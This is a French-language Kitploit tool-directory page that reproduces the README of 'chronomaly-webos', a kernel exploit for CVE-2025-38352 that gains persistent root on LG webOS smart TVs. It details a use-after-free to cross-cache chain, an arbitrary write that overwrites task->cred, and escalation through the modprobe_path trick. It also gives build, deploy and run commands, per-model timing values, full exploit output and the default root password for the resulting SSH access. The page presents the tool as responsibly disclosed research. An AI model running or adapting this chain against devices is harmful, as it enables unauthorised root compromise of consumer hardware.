Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
chronomaly-webos — CVE-2025-38352 exploit noyau pour les téléviseurs intelligents LG webOS (ARM64). Obtient un root persistant sur du matériel grand public réel avec des techniques d'exploitation innovantes. Divulgué de manière responsable à LG. | Kitploit
Outils/GitHubGitHub/analyticeth/chronomaly-webos
Sécurité des Systèmes EmbarquésEscalade de PrivilègesAnalyse des VulnérabilitésExploitationSécurité MatérielleApprentissage et ÉducationExploitation de Binaires
GitHubanalyticeth/chronomaly-webos

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

chronomaly-webos

CVE-2025-38352 exploit noyau pour les téléviseurs intelligents LG webOS (ARM64). Obtient un root persistant sur du matériel grand public réel avec des techniques d'exploitation innovantes. Divulgué de manière responsable à LG.

Voir le dépôt
10il y a 2 moisPas encore vérifié

Chronomaly — CVE-2025-38352 sur LG webOS

Exploit du noyau pour CVE-2025-38352 (condition de course / use-after-free du timer CPU POSIX) permettant d'obtenir un accès root persistant sur les téléviseurs intelligents LG webOS exécutant le noyau 5.4.268 sur ARM64. Testé sur 4 modèles de téléviseurs avec plusieurs versions de firmware. Divulgué de manière responsable au programme de recherche en sécurité de LG (février 2026).

Basé sur Chronomaly par farazsth98. La logique de course UAF de l'étape 1 et l'infrastructure cross-cache ont été portées et adaptées pour ARM64 ; les étapes 2 à 5 ont été repensées avec des techniques d'exploitation inédites et des solutions aux contraintes matérielles réelles qui n'existent pas dans les environnements émulés. Développé avec l'aide de Claude Opus 4.6.

Voir VULNERABILITY_REPORT.md pour l'analyse complète de la vulnérabilité, la description détaillée de la chaîne d'exploitation et les mesures d'atténuation recommandées.

Résultats

  • Accès root persistant au noyau (uid=0) à partir de l'utilisateur non privilégié prisoner (uid=5038)
  • Testé sur 5 modèles de téléviseurs LG : OLED65C2PUA, 86QNED70AUA, OLED77C5PUA, OLED77G4WUA, OLED65C4PUA
  • Confirmé sur les versions de firmware 33.22.65 – 33.30.97 (noyau 5.4.268-320 et -329)
  • Entièrement automatisé, s'exécute en quelques minutes, survit aux redémarrages via l'élévation du Homebrew Channel
  • Signalé au programme de recherche en sécurité de LG (7 février 2026)

Avertissement

Cet exploit a été développé dans le cadre d'une recherche en sécurité responsable et signalé au programme de recherche en sécurité de LG le 7 février 2026. Il est publié à des fins éducatives uniquement. Utilisez-le de manière responsable et uniquement sur des appareils que vous possédez. Les auteurs ne sont pas responsables des dommages, briques, pertes de données ou annulations de garantie résultant de l'utilisation de ce logiciel. Ce logiciel est fourni tel quel, sans aucune garantie.

Techniques novatrices

1. Primitive d'écriture repensée

La primitive de décrémentation arbitraire de l'original est lente et bruyante : elle pulvérise 1 000 objets struct cred via des processus fork, puis décrémente le champ EUID d'un cred cible N fois. Chaque décrémentation est une opération distincte. Cela est acceptable dans QEMU où le timing est indulgent, mais peu fiable sur du matériel réel où la récupération de pages pilotée par les interruptions peut voler les pages du tampon de tube entre les opérations.

Cela a été remplacé par une seule écriture arbitraire via list_del_init(). L'exploit écrase les pointeurs list_head.next et list_head.prev du sigqueue UAF via le tampon de tube. Lorsque le noyau retire le signal en attente (collect_signal() → list_del_init()), il exécute prev->next = next (écrit l'adresse du cred factice dans task_struct->cred) et next->prev = prev (écriture secondaire contrôlée). Une seule écriture remplace le pointeur cred du processus par un pointeur vers une structure cred factice contenant des champs uid/gid tous à zéro. Pas de pulvérisation de cred, pas de processus fork, déterministe.

2. peek_pipe() via tee() pour des lectures non destructives

L'original utilise des appels read() destructifs sur les tampons de tube tout au long de l'exploit. Dans QEMU, cela fonctionne bien car les pages ne sont pas volées entre les opérations. Sur du matériel réel avec 4 cœurs physiques, la liste de pages par CPU (pcplist) du noyau récupère agressivement les pages libérées. Une lecture destructive libère la page de support du tampon de tube, qui peut être immédiatement volée par une interruption matérielle avant que l'exploit ne puisse la réallouer.

La solution est une primitive de lecture de tube non destructive utilisant tee(). L'appel système tee() duplique les données du tube entre deux tubes sans les consommer, gardant la page de support du tampon de tube d'origine épinglée. Cela permet à l'exploit de lire les données du noyau à partir du tampon de tube cross-cache à plusieurs reprises sans risque de perte de page. Cela a été critique pour la fiabilité sur du matériel réel.

3. Cred factice dans un second tampon de tube cross-cache

L'original pulvérise des objets cred et espère en placer un à un emplacement prévisible. Cette version construit la structure cred factice à une adresse connue en effectuant un second cross-cache : allouer un nouveau sigqueue (via tkill(SIGRTMIN+1)), apprendre son adresse à partir de la fuite de tas du premier tampon de tube, puis cross-cacher la page de slab de ce sigqueue dans un second tampon de tube. Le cred factice est écrit dans le second tampon de tube à l'offset exact de la page de l'adresse du sigqueue divulguée. Le résultat est un cred factice à une adresse noyau déterministe, sans incertitude.

4. SIGUSR2 maintenu en attente comme déclencheur d'écriture final

L'original retire SIGUSR2 tôt à l'étape 2 pour divulguer l'adresse du sigqueue UAF. Cela consomme le signal, donc l'original a besoin d'un mécanisme différent pour l'écriture finale. Cette version n'a jamais besoin de l'adresse propre du sigqueue UAF (la fuite de tas provient des pointeurs sigqueue adjacents dans le tampon de tube). SIGUSR2 est maintenu en attente à travers les cinq étapes et son retrait est utilisé comme déclencheur d'écriture arbitraire finale. Le signal qui a créé l'UAF est le même signal dont le retrait l'exploite.

5. Escalade via modprobe_path + socket(44)

La structure cred factice a des pointeurs user_ns, user et group_info NULL (car le tampon de tube est initialisé à zéro au-delà des champs uid/gid). Appeler setresuid(), fork() ou exec() déréférencerait ces pointeurs NULL et provoquerait un panique du noyau. L'original évite cela car sa pulvérisation de cred utilise de véritables objets cred avec des pointeurs valides.

La solution : écraser /proc/sys/kernel/modprobe pour pointer vers un script de payload (/tmp/pwn), puis déclencher call_usermodehelper via socket(44, SOCK_STREAM, 0) (demande d'une famille de protocole inexistante). Le noyau exécute l'assistant modprobe avec init_cred (les propres credentials root du noyau, complètement valides), contournant ainsi le cred corrompu. Le payload s'exécute en tant que root complet et peut effectuer des opérations arbitraires.

6. Protection de timing pour le matériel réel

La fenêtre critique à l'étape 4 (écriture de pointeurs malveillants dans le tampon de tube, puis déclenchement du retrait du signal) est vulnérable aux interruptions matérielles qui volent la page du tampon de tube depuis la liste de pages par CPU. Cela ne se produit pas dans QEMU. Sur du matériel réel, cette fenêtre est protégée avec la priorité SCHED_FIFO (lorsqu'elle est disponible) et sched_yield() pour laisser les travaux en attente se terminer sur le CPU avant d'entrer dans la section critique, ainsi que des contenus de tampon pré-préparés pour minimiser le temps entre l'écriture et le déclenchement. L'exploit se replie gracieusement lorsque SCHED_FIFO n'est pas disponible (comme sur webOS où l'utilisateur prisoner n'a pas CAP_SYS_NICE).

7. Rétro-ingénierie de l'offset task_struct pour ARM64

L'écriture arbitraire cible task_struct->cred, ce qui nécessite de connaître l'offset en octets de task_struct->pending (dont l'adresse est divulguée depuis le tampon de tube) à task_struct->cred. Cet offset dépend de la configuration du noyau. L'offset de 0x80 (128 octets) a été calculé manuellement à partir du code source du noyau LG webOS, en tenant compte de CONFIG_KEYS=y, CONFIG_SYSVIPC=y, et de la disposition et de l'alignement spécifiques à ARM64. L'offset x86_64 dans l'original est différent en raison d'un emballage de structure et d'options de configuration différents.


Ce qu'il fait

En cas de succès, l'exploit :

  1. Obtient l'accès root du noyau via UAF → cross-cache → écriture arbitraire (écrasement de cred)
  2. Écrase /proc/sys/kernel/modprobe pour exécuter un payload d'enracinement en tant qu'init
  3. Le payload installe et élève Homebrew Channel et supprime l'application Dev Mode
  4. Après redémarrage, Homebrew Channel fournit un accès SSH root persistant sur le port 22

Démarrage rapide

Prérequis

  • Téléviseur LG webOS avec noyau 5.4.268 (ARM64)
  • Mode développeur activé sur le téléviseur (accès SSH sur le port 9922)
  • Compilateur croisé ARM64 (aarch64-linux-gnu-gcc)
  • IPK Homebrew Channel — télécharger depuis webosbrew releases

Installer le compilateur croisé

root@kitploit:~
# macOS (nécessite un dépôt tiers)
brew tap messense/macos-cross-toolchains
brew install aarch64-unknown-linux-gnu

# Ubuntu/Debian
sudo apt-get install gcc-aarch64-linux-gnu

Recommandé : installer Homebrew Channel d'abord

Installez l'application Homebrew Channel sur votre téléviseur via Dev Mode avant d'exécuter l'exploit. Ainsi, le payload d'enracinement n'aura qu'à l'élever (rapide, fiable) au lieu de l'installer + l'élever (plus lent, peut échouer). Vous pouvez le sideloader en utilisant ares-install ou l'application Dev Manager :

root@kitploit:~
ares-install org.webosbrew.hbchannel_0.7.3_all.ipk

Si HBC n'est pas préinstallé, l'exploit tentera de l'installer depuis /tmp/hbchannel.ipk (déployé par deploy-webos.sh), mais cela ajoute des étapes supplémentaires qui peuvent échouer.

Construire, déployer, exécuter

root@kitploit:~
# 1. Définir l'IP de votre téléviseur et la clé SSH
#    L'IP du téléviseur se trouve dans Paramètres > Réseau > Wi-Fi > Paramètres avancés
#    La clé SSH est générée par l'application LG Developer Mode — cherchez la clé
#    téléchargée par Dev Manager ou ares-setup-device (généralement nommée webos_rsa)
export WEBOS_IP="<TV_IP>"
export WEBOS_KEY="$HOME/.ssh/webos_rsa"

# 2. Construire et déployer (deploy-webos.sh gère la construction automatiquement)
./deploy-webos.sh

# 3. Se connecter et exécuter
ssh -i "$WEBOS_KEY" -p 9922 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa prisoner@$WEBOS_IP
/tmp/exploit-arm64

Variables d'environnement

Réglages

L'exploit accepte des paramètres de timing en tant qu'arguments de ligne de commande :

root@kitploit:~
/tmp/exploit-arm64 [DELAY] [DELTA] [THRESHOLD]

Si aucun argument n'est fourni, les valeurs par défaut compilées sont utilisées (DELAY=31000, DELTA=50, THRESHOLD=3000). Si DELAY est fourni mais pas DELTA, DELTA est automatiquement calculé comme DELAY / 600 (arrondi au 5 le plus proche).

Valeurs connues bonnes

Trouver des valeurs pour un nouveau téléviseur

Observez la sortie de l'exploit et ajustez DELAY :

root@kitploit:~
Parent raced too late   → DIMINUER DELAY
Parent raced too early  → AUGMENTER DELAY

Lorsque les deux messages apparaissent, le timing est proche — continuez d'exécuter et l'exploit finira par atteindre la fenêtre de course. Commencez avec la valeur par défaut compilée (31000) et ajustez à partir de là.

Après l'accès root

  1. L'exploit attendra la fin de /tmp/pwn — il expire souvent (c'est normal). Vérifiez /tmp/pwn.log pour confirmer manuellement que le payload s'est terminé si nécessaire.
  2. Redémarrez le téléviseur
  3. Après le redémarrage, Homebrew Channel fournit SSH sur le port 22 :
    root@kitploit:~
    ssh root@<TV_IP>
    # password: alpine
    

Exemple de sortie

root@kitploit:~
[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 165 ns
        [+] Freed UAF sigqueue in parent process pid 28522

[+] Stage 2 - Cross-cache the UAF sigqueue's slab
        [+] Reallocated UAF sigqueue slab as a pipe buffer data page
        [+] Heap leak successful! Continuing...
        [+] SIGUSR2 kept pending - UAF sigqueue stays in list

[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
        [+] fake_cred_addr = 0xffffff804908c820

[+] Stage 4 - Set up arbitrary write via UAF sigqueue
        [+] Will write: *0xffffff8048591378 = 0xffffff804908c820
        [+] SIGUSR2 still pending from Stage 1
        [DEBUG] All sigqueue fields verified OK

[+] Stage 5 - Trigger arbitrary write via signal dequeue
        [+] Signal dequeued successfully!
        [+] Arbitrary write completed: task->cred now points to fake_cred
        [+] Current EUID: 0, UID: 1213797240

         ██████╗  ██████╗  ██████╗ ████████╗    ██╗
         ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝    ██║
         ██████╔╝██║   ██║██║   ██║   ██║       ██║
         ██╔══██╗██║   ██║██║   ██║   ██║       ╚═╝
         ██║  ██║╚██████╔╝╚██████╔╝   ██║       ██╗
         ╚═╝  ╚═╝ ╚═════╝  ╚═════╝    ╚═╝       ╚═╝

        [+] ROOT ACHIEVED! EUID = 0
        [+] modprobe -> /tmp/pwn
        [+] Rooting payload executed!
Sortie complète (OLED C5)
root@kitploit:~
[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 165 ns
        [+] Freed UAF sigqueue in parent process pid 28522

[+] Stage 2 - Cross-cache the UAF sigqueue's slab
        [+] Reallocated UAF sigqueue slab as a pipe buffer data page
        [+] Cleaning up all cross-cache allocations to prepare for next cross-cache
        [+] Preparing task pending list for heap leaks
        [DEBUG] Pipe buffer page dump (non-zero qwords):
        [DEBUG]   offset 0x960: 0xffffff804dbee2d0 [kernel ptr]
        [DEBUG]   offset 0x968: 0xffffff80485913f8 [kernel ptr]
        [+] Heap leaks:
                - UAF sigqueue page offset 0x960
                - Other sigqueue 0xffffff804dbee2d0
                - Task pending list addr 0xffffff80485913f8
        [+] Heap leak successful! Continuing...
        [+] SIGUSR2 kept pending - UAF sigqueue stays in list

[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
        [+] new_addr = 0xffffff804908c820 (page offset 0x820)
        [+] Dequeuing SIGRTMIN+1 (2nd time) to free new sigqueue from slab 3...
        [+] Freeing slab 3 page...
        [+] Writing fake cred at page offset 0x820
        [+] Reclaimed slab 3 page as second pipe buffer (with fake cred)
        [+] fake_cred_addr = 0xffffff804908c820 (= new_addr from Stage 3 SIGRTMIN+1)

[+] Stage 4 - Set up arbitrary write via UAF sigqueue
        [+] task_pending_list_addr = 0xffffff80485913f8
        [+] cred_offset = 0x80 (128 bytes)
        [+] task_cred_ptr_addr = 0xffffff8048591378
        [+] fake_cred_addr = 0xffffff804908c820
        [+] Will write: *0xffffff8048591378 = 0xffffff804908c820
        [+] SIGUSR2 still pending from Stage 1
        [-] SCHED_FIFO unavailable - proceeding anyway
        [DEBUG] Verifying sigqueue fields in pipe buffer:
        [DEBUG]   list.next  = 0xffffff804908c820 (expected 0xffffff804908c820) OK
        [DEBUG]   list.prev  = 0xffffff8048591378 (expected 0xffffff8048591378) OK
        [DEBUG]   flags      = 1 (expected 1) OK
        [DEBUG]   si_signo   = 12 (expected 12 = SIGUSR2) OK
        [DEBUG]   All sigqueue fields verified OK

[+] Stage 5 - Trigger arbitrary write via signal dequeue
        [+] Dequeuing ORIGINAL SIGUSR2 from Stage 1 (never dequeued until now)
        [+] This triggers list_del_init: *0xffffff8048591378 = 0xffffff804908c820
        [DEBUG] poll() returned 1, revents=0x1
        [DEBUG] SIGUSR2 = 12, sigusr2_sfd = 5
        [DEBUG] Key addresses for list_del_init:
        [DEBUG]   UAF.prev (entry->prev) = task_cred_ptr = 0xffffff8048591378
        [DEBUG]   UAF.next (entry->next) = fake_cred     = 0xffffff804908c820
        [DEBUG]   fake_cred[0] should be task_pending_list = 0xffffff80485913f8
        [DEBUG] Expected writes:
        [DEBUG]   *(0xffffff8048591378) = 0xffffff804908c820  (task->cred = fake_cred)
        [DEBUG]   *(0xffffff804908c828) = 0xffffff8048591378  (fake_cred.prev = task_cred_ptr)
        [DEBUG] Verifying pipe buffers still valid...
        [DEBUG]   realloc_pipe read(0) = 0 (errno=1)
        [DEBUG] About to call read(sigusr2_sfd) - this triggers list_del_init...
        [DEBUG] NOTE: If it hangs here, the exploit has failed and you must start over.
        [DEBUG] read() returned 128, errno=0 (Success)
        [DEBUG] Blocking mode restored
        [+] Signal dequeued successfully! (read 128 bytes)
        [DEBUG] POST-DEQUEUE pipe buffer check:
        [DEBUG]   list.next = 0xffffff80417e9960
        [DEBUG]   list.prev = 0xffffff80417e9960
        [DEBUG]   Pointers changed by kernel (list_del_init applied to our page)
        [+] Arbitrary write completed: task->cred now points to fake_cred

        [+] Checking privileges...
        [+] Current EUID: 0, UID: 1213797240

         ██████╗  ██████╗  ██████╗ ████████╗    ██╗
         ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝    ██║
         ██████╔╝██║   ██║██║   ██║   ██║       ██║
         ██╔══██╗██║   ██║██║   ██║   ██║       ╚═╝
         ██║  ██║╚██████╔╝╚██████╔╝   ██║       ██╗
         ╚═╝  ╚═╝ ╚═════╝  ╚═════╝    ╚═╝       ╚═╝

        [+] ROOT ACHIEVED! EUID = 0
        [+] modprobe -> /tmp/pwn
        [+] Rooting payload executed!
        [+] Waiting for /tmp/pwn to finish...
        [+] May take up to 5 minutes to finish.

Licence

Les contributions originales sont sous licence MIT. Les parties dérivées de Chronomaly par farazsth98 sont exclues de la licence MIT car le projet amont a été publié sans licence explicite. Voir LICENSE pour plus de détails.

Références

  • CVE-2025-38352 — Bulletin de sécurité Android de septembre 2025 (exploité dans la nature)
  • Chronomaly — Exploit original par farazsth98 (x86_64/QEMU)
  • Partie 1 — Analyse de vulnérabilité du noyau Android dans la nature + PoC
  • Partie 2 — Élargir la fenêtre de course sans correctif du noyau
  • Partie 3 — Découvrir Chronomaly
  • Homebrew Channel
Télécharger l’outil
VariableValeur par défautDescription
WEBOS_IP192.168.1.100Adresse IP du téléviseur
WEBOS_PORT9922Port SSH
WEBOS_USERprisonerUtilisateur SSH
WEBOS_KEY$HOME/.ssh/webos_rsaChemin de la clé SSH
Modèle TVOTA IDDELAYDELTATHRESHOLD
OLED65C2PUAHE_DTV_W22O_AFABATPU29700503000
86QNED70AUAHE_DTV_W25P_AFADATAA1000001653000
OLED77C5PUAHE_DTV_W25G_AFABATAA30500503000
OLED77G4WUAHE_DTV_W24O_AFABATAA24500502500
OLED65C4PUAHE_DTV_W24G_AFABATAA30000503000
OLED55C4PUAHE_DTV_W24G_AFABATAA30300503000
OLED48C3AUB-31300503000
OLED65C3PUAHE_DTV_W23O_AFABJAAA27900503000